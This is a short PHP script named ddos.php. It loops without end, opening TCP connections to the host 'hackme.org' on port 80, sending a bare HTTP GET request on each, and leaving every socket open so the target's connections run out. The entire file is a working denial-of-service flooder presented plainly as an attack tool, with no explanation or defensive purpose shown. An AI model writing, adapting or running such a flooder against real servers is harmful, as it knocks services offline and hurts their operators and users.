ddos.php

<?php

$host = 'hackme.org';
$port = 80;
$timeout = 30;
$socket = [];
$x = 0;
while (1) :
$socket[$x] = fsockopen($host, $port, $x1, $x2, $timeout);
if (!$socket[$x]) return;

$payload = "GET / HTTP/1.1\r\n";
$payload .= "Host: {$host}\r\n";
$payload .= "User-Agent: PHP\r\n";
$payload .= "Accept: */*\r\n\r\n";

echo $payload;
fprintf($socket[$x], $payload);

//while($data = fgets($socket[$x])) {
//    echo $data . PHP_EOL;
//}
//fclose($socket[$x]);
$x++;
endwhile;